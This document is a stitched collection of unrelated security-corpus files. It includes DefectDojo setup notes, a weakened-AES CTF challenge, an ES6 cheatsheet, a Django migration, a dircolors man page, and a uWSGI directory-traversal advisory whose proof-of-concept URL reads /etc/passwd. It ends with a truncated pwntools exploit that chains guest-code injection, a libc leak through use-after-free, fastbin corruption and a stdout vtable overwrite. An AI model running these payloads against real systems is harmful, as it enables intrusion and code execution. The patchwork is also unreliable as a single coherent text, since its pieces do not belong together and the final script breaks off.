对不同产品、不同项目进行管理,可以查看各自的漏洞情况; 支持LDAP、JIRA集成; …… ``` ## 踩坑记 ### 中文乱码 在defectdojo安装过程中配置数据库信息之前,也就是启动MySQL数据库时,需要修改MySQL配置文件: ``` vim /etc/my.cnf # [mysqld] 下面添加以下三行 character-set-server=utf8 collation-server=utf8_general_ci skip-character-set-client-handshake # 重启MySQL服务 ``` ### 新增漏洞时,漏洞名称为中文时报错 ![defectdojo-6](https://github.com/bloodzer0/ossa/raw/master/application-security/vulnerability-management/img/defectdojo-6.png) 备注:这里虽然报错,但是实际上新增漏洞成功 如何解决这个报错问题 ``` vim django-DefectDojo/dojo/models.py # 跳转到1049行 # hash_string = hash_string.decode('utf-8').strip() # 注释此行 hash_string = hash_string.strip() # 新增此行 ``` ### 汉化Django ``` vim django-DefectDojo/dojo/settings/settings.py # 搜索LANGUAGE_CODE,修改为如下 LANGUAGE_CODE = 'zh-Hans' ``` ## 参考资料 [Django Authentication Using LDAP](https://django-auth-ldap.readthedocs.io/en/latest/index.html?highlight=ldap#django-authentication-using-ldap) [开源漏洞管理工具DefectDojo(二)使用指南:基本使用](https://www.freebuf.com/sectool/152409.html)
sec-knowleage
""" This is a slightly modified version of BoppreH's A2S implementation found at at https://github.com/boppreh/AES Follow the original disclaimer __________________________________ This is an exercise in secure symmetric-key encryption, implemented in pure Python (no external libraries needed). Original AES-128 implementation by Bo Zhu (http://about.bozhu.me) at https://github.com/bozhu/AES-Python . PKCS#7 padding, CBC mode, PKBDF2, HMAC, byte array and string support added by me at https://github.com/boppreh/aes. Other block modes contributed by @righthandabacus. Although this is an exercise, the `encrypt` and `decrypt` functions should provide reasonable security to encrypted messages. """ s_box = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) inv_s_box = ( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D, ) def sub_bytes(s): for i in range(4): for j in range(4): s[i][j] = s_box[s[i][j]] def inv_sub_bytes(s): for i in range(4): for j in range(4): s[i][j] = inv_s_box[s[i][j]] def shift_rows(s): s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1] s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2] s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3] def inv_shift_rows(s): s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1] s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2] s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3] def add_round_key(s, k): for i in range(4): for j in range(4): s[i][j] ^= k[i][j] # learned from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1) def mix_single_column(a): # see Sec 4.1.2 in The Design of Rijndael t = a[0] ^ a[1] ^ a[2] ^ a[3] u = a[0] a[0] ^= t ^ xtime(a[0] ^ a[1]) a[1] ^= t ^ xtime(a[1] ^ a[2]) a[2] ^= t ^ xtime(a[2] ^ a[3]) a[3] ^= t ^ xtime(a[3] ^ u) def mix_columns(s): for i in range(4): mix_single_column(s[i]) def inv_mix_columns(s): # see Sec 4.1.3 in The Design of Rijndael for i in range(4): u = xtime(xtime(s[i][0] ^ s[i][2])) v = xtime(xtime(s[i][1] ^ s[i][3])) s[i][0] ^= u s[i][1] ^= v s[i][2] ^= u s[i][3] ^= v mix_columns(s) r_con = ( 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A, 0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A, 0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39, ) def bytes2matrix(text): """ Converts a 16-byte array into a 4x4 matrix. """ return [list(text[i:i+4]) for i in range(0, len(text), 4)] def matrix2bytes(matrix): """ Converts a 4x4 matrix into a 16-byte array. """ return bytes(sum(matrix, [])) def xor_bytes(a, b): """ Returns a new byte array with the elements xor'ed. """ return bytes(i^j for i, j in zip(a, b)) def inc_bytes(a): """ Returns a new byte array with the value increment by 1 """ out = list(a) for i in reversed(range(len(out))): if out[i] == 0xFF: out[i] = 0 else: out[i] += 1 break return bytes(out) def split_blocks(message, block_size=16, require_padding=True): assert len(message) % block_size == 0 or not require_padding return [message[i:i+16] for i in range(0, len(message), block_size)] class A2S: """ Class for A2S-128, the newest encryption scheme designed by Rhiza's AI. """ rounds_by_key_size = {16: 2, 24: 12, 32: 14} # 2_ROUND_AES def __init__(self, master_key): """ Initializes the object with a given key. """ assert len(master_key) in A2S.rounds_by_key_size self.n_rounds = A2S.rounds_by_key_size[len(master_key)] self._key_matrices = self._expand_key(master_key) def _expand_key(self, master_key): """ Expands and returns a list of key matrices for the given master_key. """ # Initialize round keys with raw key material. key_columns = bytes2matrix(master_key) iteration_size = len(master_key) // 4 # Each iteration has exactly as many columns as the key material. columns_per_iteration = len(key_columns) i = 1 while len(key_columns) < (self.n_rounds + 1) * 4: # Copy previous word. word = list(key_columns[-1]) # Perform schedule_core once every "row". if len(key_columns) % iteration_size == 0: # Circular shift. word.append(word.pop(0)) # Map to S-BOX. word = [s_box[b] for b in word] # XOR with first byte of R-CON, since the others bytes of R-CON are 0. word[0] ^= r_con[i] i += 1 elif len(master_key) == 32 and len(key_columns) % iteration_size == 4: # Run word through S-box in the fourth iteration when using a # 256-bit key. word = [s_box[b] for b in word] # XOR with equivalent word from previous iteration. word = xor_bytes(word, key_columns[-iteration_size]) key_columns.append(word) # Group key words in 4x4 byte matrices. return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)] def encrypt_block(self, plaintext): """ Encrypts a single block of 16 byte long plaintext. """ assert len(plaintext) == 16 plain_state = bytes2matrix(plaintext) add_round_key(plain_state, self._key_matrices[0]) for i in range(1, self.n_rounds): shift_rows(plain_state) # p4: moved shift_rows here to capture the expected state for testing earlier = matrix2bytes(plain_state) sub_bytes(plain_state) mix_columns(plain_state) add_round_key(plain_state, self._key_matrices[i]) sub_bytes(plain_state) before = matrix2bytes(plain_state) shift_rows(plain_state) mix_columns(plain_state) # added mix_columns add_round_key(plain_state, self._key_matrices[-1]) return matrix2bytes(plain_state), before, earlier # p4: original challenge only returned the first thing, rest was added for testing the solution def decrypt_block(self, ciphertext): """ Decrypts a single block of 16 byte long ciphertext. """ assert len(ciphertext) == 16 cipher_state = bytes2matrix(ciphertext) add_round_key(cipher_state, self._key_matrices[-1]) inv_shift_rows(cipher_state) inv_sub_bytes(cipher_state) for i in range(self.n_rounds - 1, 0, -1): add_round_key(cipher_state, self._key_matrices[i]) inv_mix_columns(cipher_state) inv_shift_rows(cipher_state) inv_sub_bytes(cipher_state) add_round_key(cipher_state, self._key_matrices[0]) return matrix2bytes(cipher_state)
sec-knowleage
--- title: ES6 date: 2023-01-08 18:26:55 background: bg-[#edc545] tags: - config - format categories: - Programming intro: | A quick reference cheatsheet of what's new in JavaScript for ES2015, ES2016, ES2017, ES2018 and beyond plugins: - copyCode --- Getting Started -------- ### Block-scoped {.row-span-2} #### Let ```js{2,4} function fn () { let x = 0 if (true) { let x = 1 // only inside this `if` } } ``` #### Const ```js const a = 1 ``` `let` is the new `var`. Constants (`const`) work just like `let`, but cannot be reassigned. See: [Let and const](https://babeljs.io/learn-es2015/#let--const) ### Template Strings {.row-span-2} #### Interpolation ```js const message = `Hello ${name}` ``` #### Multi-line string ```js const str = ` hello the world ` ``` Templates and multiline strings. See: [template strings](https://babeljs.io/learn-es2015/#template-strings) ### Binary and octal literals ```js let bin = 0b1010010 let oct = 0o755 ``` See: [Binary and Octal Literals](https://babeljs.io/learn-es2015/#binary-and-octal-literals) ### Exponential Operator ```js {1} const byte = 2 **8 ``` Same as: Math.pow(2, 8) ### New library additions #### New string methods ```js "hello".repeat(3) "hello". includes("ll") "hello". startsWith("he") "hello".padStart(8) // "hello" "hello".padEnd(8) // "hello" "hello".padEnd(8, '!') // hello!!! "\u1E9B\u0323".normalize("NFC") ``` #### New Number Methods ```js Number.EPSILON Number.isInteger(Infinity) // false Number.isNaN("NaN") // false ``` #### New Math methods ```js Math.acosh(3) // 1.762747174039086 Math.hypot(3, 4) // 5 Math.imul(Math.pow(2, 32) -1, Math.pow(2, 32) -2) // 2 ``` #### New Array methods ```js //return a real array Array.from(document.querySelectorAll("*")) //similar to new Array(...), but without the special single-argument behavior Array.of(1, 2, 3) ``` See: [New library additions](https://babeljs.io/learn-es2015/#math--number--string--object-apis) ### kind ```js class Circle extends Shape { ``` #### Constructor ```js {1} constructor (radius) { this.radius = radius } ``` #### method ```js {1} getArea () { return Math.PI *2 *this.radius } ``` #### Call the superclass method ```js {2} expand(n) { return super.expand(n) *Math.PI } ``` #### Static methods ```js {1} static createFromDiameter(diameter) { return new Circle(diameter /2) } ``` Syntactic sugar for prototypes. See: [classes](https://babeljs.io/learn-es2015/#classes) ### Private class The javascript default field is public (`public`), if you need to indicate private, you can use (`#`) ```js class Dog { #name; constructor(name) { this.#name = name; } printName() { // Only private fields can be called inside the class console.log(`Your name is ${this.#name}`) } } const dog = new Dog("putty") //console.log(this.#name) //Private identifiers are not allowed outside class bodies. dog.printName() ``` #### Static private class ```js class ClassWithPrivate { static #privateStaticField; static #privateStaticFieldWithInitializer = 42; static #privateStaticMethod() { // … } } ``` Promises -------- ### make the commitment ```js {1} new Promise((resolve, reject) => { if (ok) { resolve(result) } else { reject(error) } }) ``` for asynchronous programming. See: [Promises](https://babeljs.io/learn-es2015/#promises) ### Using Promises ```js{2,3} promise .then((result) => { ··· }) .catch((error) => { ··· }) ``` ### Using Promises in finally ```js {4} promise .then((result) => { ··· }) .catch((error) => { ··· }) .finally(() => { /*logic independent of success/error */ }) ``` The handler is called when the promise is fulfilled or rejected ### Promise function ```js Promise.all(···) Promise.race(···) Promise.reject(···) Promise.resolve(···) ``` ### Async-await ```js{2,3} async function run () { const user = await getUser() const tweets = await getTweets(user) return [user, tweets] } ``` `async` functions are another way to use functions. See: [Async Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function) Destructuring ------------- ### Destructuring assignment #### Arrays ```js {1} const [first, last] = ['Nikola', 'Tesla'] ``` #### Objects ```js {1} let {title, author} = { title: 'The Silkworm', author: 'R. Galbraith' } ``` Supports matching arrays and objects. See: [Destructuring](https://babeljs.io/learn-es2015/#destructuring) ### Defaults ```js const scores = [22, 33] const [math = 50, sci = 50, arts = 50] = scores ``` ---- ```js //Result: //math === 22, sci === 33, arts === 50 ``` A default value can be assigned when destructuring an array or object ### Function parameters ```js {1} function greet({ name, greeting }) { console.log(`${greeting}, ${name}!`) } ``` ---- ```js greet({ name: 'Larry', greeting: 'Ahoy' }) ``` Destructuring of objects and arrays can also be done in function parameters ### Defaults ```js {1} function greet({ name = 'Rauno' } = {}) { console.log(`Hi ${name}!`); } ``` ---- ```js greet() // Hi Rauno! greet({ name: 'Larry' }) // Hi Larry! ``` ### Reassign keys ```js {1} function printCoordinates({ left: x, top: y }) { console.log(`x: ${x}, y: ${y}`) } ``` ---- ```js printCoordinates({ left: 25, top: 90 }) ``` This example assigns `x` to the value of the `left` key ### Loop ```js {1} for (let {title, artist} of songs) { ··· } ``` Assignment expressions also work in loops ### Object Deconstruction ```js {1} const { id, ...detail } = song; ``` Use the `rest(...)` operator to extract some keys individually and the rest of the keys in the object Spread operator Spread ------ ### Object Extensions #### with object extensions ```js {2} const options = { ...defaults, visible: true } ``` #### No object extension ```js const options = Object.assign( {}, defaults, { visible: true }) ``` The object spread operator allows you to build new objects from other objects. See: [Object Spread](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator) ### Array Expansion #### with array extension ```js{2,3} const users = [ ...admins, ...editors, 'rstacruz' ] ``` #### No array expansion ```js const users = admins .concat(editors) .concat([ 'rstacruz' ]) ``` The spread operator allows you to build new arrays in the same way. See: [Spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator) Functions --------- ### Function parameters {.row-span-3} #### Default parameters ```js {1} function greet (name = 'Jerry') { return `Hello ${name}` } ``` #### Rest parameters ```js {1} function fn(x, ...y) { // y is an array return x * y.length } ``` #### Extensions ```js {1} fn(...[1, 2, 3]) //same as fn(1, 2, 3) ``` Default (default), rest, spread (extension). See: [function parameters](https://babeljs.io/learn-es2015/#default--rest--spread) ### Arrow function {.row-span-3} #### Arrow functions ```js {1} setTimeout(() => { ··· }) ``` #### with parameters ```js {1} readFile('text.txt', (err, data) => { ... }) ``` #### implicit return ```js{1,4,5,6} arr.map(n => n*2) //no curly braces = implicit return //Same as: arr.map(function (n) { return n*2 }) arr.map(n => ({ result: n*2 })) //Implicitly returning an object requires parentheses around the object ``` Like a function, but preserves `this`. See: [Arrow functions](https://babeljs.io/learn-es2015/#arrows-and-lexical-this) ### Parameter setting default value ```js function log(x, y = 'World') { console.log(x, y); } log('Hello') // Hello World log('Hello', 'China') // Hello China log('Hello', '') // Hello ``` ### Used in conjunction with destructuring assignment defaults ```js function foo({x, y = 5} = {}) { console.log(x, y); } foo() // undefined 5 ``` ### name attribute ```js function foo() {} foo.name // "foo" ``` ### length property ```js function foo(a, b){} foo.length // 2 ``` Objects ------- ### Shorthand Syntax ```js module.exports = { hello, bye } ``` same below: ```js module.exports = { hello: hello, bye: bye } ``` See: [Object Literals Enhanced](https://babeljs.io/learn-es2015/#enhanced-object-literals) ### method ```js {2} const App = { start () { console.log('running') } } //Same as: App = { start: function () {···} } ``` See: [Object Literals Enhanced](https://babeljs.io/learn-es2015/#enhanced-object-literals) ### Getters and setters ```js{2,5} const App = { get closed () { return this.status === 'closed' }, set closed (value) { this.status = value ? 'closed' : 'open' } } ``` See: [Object Literals Enhanced](https://babeljs.io/learn-es2015/#enhanced-object-literals) ### Computed property name ```js {3} let event = 'click' let handlers = { [`on${event}`]: true } //Same as: handlers = { 'onclick': true } ``` See: [Object Literals Enhanced](https://babeljs.io/learn-es2015/#enhanced-object-literals) ### Extract value ```js{3,5} const fatherJS = { age: 57, name: "Zhang San" } Object.values(fatherJS) //[57, "Zhang San"] Object.entries(fatherJS) //[["age", 57], ["name", "Zhang San"]] ``` Modules module ------- ### Imports import ```js import 'helpers' //aka: require('···') ``` ---- ```js import Express from 'express' //aka: const Express = require('···').default || require('···') ``` ---- ```js import { indent } from 'helpers' //aka: const indent = require('···').indent ``` ---- ```js import *as Helpers from 'helpers' //aka: const Helpers = require('···') ``` ---- ```js import { indentSpaces as indent } from 'helpers' //aka: const indent = require('···').indentSpaces ``` `import` is the new `require()`. See: [Module imports](https://babeljs.io/learn-es2015/#modules) ### Exports export ```js export default function () { ··· } //aka: module.exports.default = ··· ``` ---- ```js export function mymethod () { ··· } //aka: module.exports.mymethod = ··· ``` ---- ```js export const pi = 3.14159 //aka: module.exports.pi = ··· ``` ---- ```js const firstName = 'Michael'; const lastName = 'Jackson'; const year = 1958; export { firstName, lastName, year }; ``` ---- ```js export *from "lib/math"; ``` `export` is the new `module.exports`. See: [Module exports](https://babeljs.io/learn-es2015/#modules) ### `as` keyword renaming ```js{2,8,12-14} import { lastName as surname // import rename } from './profile.js'; function v1() { ... } function v2() { ... } export { v1 as default }; //Equivalent to export default v1; export { v1 as streamV1, // export rename v2 as streamV2, // export rename v2 as streamLatestVersion // export rename }; ``` ### Dynamically load modules ```js button.addEventListener('click', event => { import('./dialogBox.js') .then(dialogBox => { dialogBox. open(); }) .catch(error => { /*Error handling */ }) }); ``` [ES2020 Proposal](https://github.com/tc39/proposal-dynamic-import) introduce `import()` function ### import() allows module paths to be dynamically generated ```js const main = document.querySelector('main') import(`./modules/${someVariable}.js`) .then(module => { module.loadPageInto(main); }) .catch(err => { main.textContent = err.message; }); ``` ### import.meta [ES2020](https://github.com/tc39/proposal-import-meta) Added a meta property `import.meta` to the `import` command, which returns the meta information of the current module ```js new URL('data.txt', import.meta.url) ``` In the Node.js environment, `import.meta.url` always returns a local path, that is, a string of the `file:URL` protocol, such as `file:/// home/user/foo.js` ### Import Assertions {.col-span-2} #### static import ```js import json from "./package.json" assert {type: "json"} //Import all objects in the json file ``` #### Dynamic Import ```js const json = await import("./package.json", { assert: { type: "json" } }) ``` Generators ---------- ### Generator function ```js function*idMaker () { let id = 0 while (true) { yield id++ } } ``` ---- ```js let gen = idMaker() gen.next().value // → 0 gen.next().value // → 1 gen.next().value // → 2 ``` it's complicated. See: [Generators](https://babeljs.io/learn-es2015/#generators) ### For..of + iterator {.row-span-2} ```js let fibonacci = { [Symbol.iterator]() { let pre = 0, cur = 1; return { next() { [pre, cur] = [cur, pre + cur]; return { done: false, value: cur } } } } } for (var n of fibonacci) { // truncate sequence at 1000 if (n > 1000) break; console.log(n); } ``` For iterating over generators and arrays. See: [For..of iteration](https://babeljs.io/learn-es2015/#iterators--forof) ### Relationship with Iterator interface ```js var gen = {}; gen[Symbol.iterator] = function*() { yield 1; yield 2; yield 3; }; [...gen] // => [1, 2, 3] ``` The `Generator` function is assigned to the `Symbol.iterator` property, so that the `gen` object has the `Iterator` interface, which can be traversed by the `...` operator ### Symbol.iterator property ```js function*gen() { /*some code */} var g = gen(); g[Symbol.iterator]() === g // true ``` `gen` is a `Generator` function, calling it will generate a traverser object `g`. Its `Symbol.iterator` property, which is also an iterator object generation function, returns itself after execution see also --- - [Learn ES2015](https://babeljs.io/docs/en/learn/)_(babeljs.io)_ - [ECMAScript 6 Features Overview](https://github.com/lukehoban/es6features#readme) _(github.com)_
sec-knowleage
# uWSGI PHP Directory Traversal Vulnerability (CVE-2018-7490) [中文版本(Chinese version)](README.zh-cn.md) uWSGI is a web application server, which implements protocols such as WSGI/uwsgi/http, and supports for various languages through plugins. The PHP plugin of uWSGI before 2.0.17 doesn't handle the detection of `DOCUMENT_ROOT` correctly, resulting in reading or running files outside the `DOCUMENT_ROOT` through the use of `..%2f`. ## Environment Setup Enter the following command: ``` docker compose up -d ``` Visit `http://your-ip:8080` and you'll see the phpinfo page as the uwsgi-php server running successfully. ## POC Directly visit `http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`, you will get the passwd file: ![](1.png)
sec-knowleage
# Generated by Django 4.0.6 on 2022-07-13 22:50 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='WebLog', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('method', models.CharField(max_length=16)), ('url', models.CharField(max_length=256)), ('user_agent', models.CharField(max_length=256)), ('created_time', models.DateTimeField(auto_now_add=True)), ], ), ]
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH DIRCOLORS 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 dircolors \- 为 ls 设置颜色 .SH 概述 \fBdircolors\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP] .SH 描述 .\" Add any additional description here .PP 输出用来设置 LS_COLORS 环境变量的命令。 .SS 确定输出格式: .TP \fB\-b\fP, \fB\-\-sh\fP, \fB\-\-bourne\-shell\fP 输出 Bourne shell 设置 LS_COLORS 的代码 .TP \fB\-c\fP, \fB\-\-csh\fP, \fB\-\-c\-shell\fP 输出 C shell 设置 LS_COLORS 的代码 .TP \fB\-p\fP, \fB\-\-print\-database\fP 输出默认配置 .TP \fB\-\-print\-ls\-colors\fP 展示已经被完全转义的颜色 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 如果参数里指定了一个文件,程序将从文件中读取内容以确定应当为不同的文件类型和扩展名使用怎样的颜色。在其它情况下,程序会使用一个预编译的数据库。如需了解这些文件的格式细节,请运行“dircolors \fB\-\-print\-database\fP”。 .SH 作者 由 H. Peter Anvin 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/dircolors> .br 或者在本地使用: info \(aq(coreutils) dircolors invocation\(aq
sec-knowleage
#!/usr/bin/python2 from pwn import * def assemble_with_nasm(code): with open("code.tmp", "wb") as file: file.write(code) subprocess.check_call(["nasm", "-o", "binary.tmp", "code.tmp"]) with open("binary.tmp", "rb") as file: return file.read() def exploit(connection): modified_guest_code = """ BITS 16 command_prompt: db 'stage1:' input_prompt: db 'input:' ; the main loop in the *original* guest code started at this address ; ; the modified code is written with single call of "2.Update memory", so we hijack execution here on next iteration align 0x10 main_loop: ; command prompt mov bx, 7 mov ax, command_prompt call 0x01f3 ; write_bytes ; read command with the following structure ; uint16_t input_size ; uint16_t vmcall_ax ; uint16_t vmcall_bx ; uint16_t vmcall_cx ; uint16_t vmcall_dx ; uint16_t output_size mov bx, 0x0c sub sp, bx mov ax, sp call 0x0205 ; read_bytes ; input prompt mov bx, 6 mov ax, input_prompt call 0x01f3 ; write_bytes ; read input pop bx test bx, bx jz input_done mov ax, 0x4000 call 0x0205 ; read_bytes input_done: ; vmcall push 0x0100 popf pop ax pop bx pop cx pop dx vmcall ; write output pop bx test bx, bx jz output_done mov ax, 0x4000 call 0x01f3 ; write_bytes output_done: jmp main_loop ; fits before "2.Update memory" call """ def original_alloc_memory(size): connection.recvuntil("Your choice:") connection.send("1") connection.recvuntil("Size:") connection.send(p16(size)) def original_update_memory(index, content): connection.recvuntil("Your choice:") connection.send("2") connection.recvuntil("Index:") connection.send(p8(index)) connection.recvuntil("Content:") connection.send(content) # Step 1: Modify code executing in guest by exploiting wrap-around vulnerability in the guest memory allocator for index in xrange(0x0b): original_alloc_memory(0x1000) modified_guest_binary = assemble_with_nasm(modified_guest_code) if 0x56 < len(modified_guest_binary): raise Exception original_alloc_memory(len(modified_guest_binary)) original_update_memory(0x0b, modified_guest_binary) def modified_command(ax, bx, cx, dx, input, output_size): connection.recvuntil("stage1:") buffer = StringIO() buffer.write(p16(len(input))) buffer.write(p16(ax)) buffer.write(p16(bx)) buffer.write(p16(cx)) buffer.write(p16(dx)) buffer.write(p16(output_size)) connection.send(buffer.getvalue()) connection.recvuntil("input:") connection.send(input) output = connection.recvn(output_size) return output def modified_alloc_host_memory(size): modified_command(0x100, size, 0, 0, "", 0) def modified_free_host_memory(index): modified_command(0x101, 1, index, 0, "", 0) def modified_write_host_memory(index, content): modified_command(0x102, 1, index, len(content), content, 0) def modified_read_host_memory(index, size): output = modified_command(0x102, 2, index, size, "", size) info("modified_read_host_memory(%d) => %s", index, output.encode("hex")) return output # Step 2: Leak the address of host `libc` by exploiting use-after-free vulnerability in the host memory allocator modified_alloc_host_memory(0xe8) modified_alloc_host_memory(0x80) modified_free_host_memory(0) leak = modified_read_host_memory(0, 8) unsorted_bin_va = u64(leak) info("unsorted_bin_va = %012x", unsorted_bin_va) libc_va = unsorted_bin_va - 0x3c4b78 info("libc_va = %012x", libc_va) # Step 3: Increase `global_fast_max` by exploiting use-after-free vulnerability in the host memory allocator to corrupt the unsorted bin freelist global_fast_max_va = libc_va + 0x3c67f8 buffer = StringIO() buffer.write(p64(unsorted_bin_va)) buffer.write(p64(global_fast_max_va - 0x10)) modified_write_host_memory(0, buffer.getvalue()) modified_alloc_host_memory(0xe8) # Step 4: Allocate memory overlapping with `_IO_2_1_stdout_.vtable` by exploiting use-after-free vulnerability in the host memory allocator to corrupt the fastbin freelist modified_free_host_memory(2) modified_write_host_memory(2, p64(libc_va + 0x3c56af)) modified_alloc_host_memory(0xe8) modified_alloc_host_memory(0xe8) # Step 5: Overwrite `_IO_2_1_stdout_.vtable` to use new table referring `one gadget 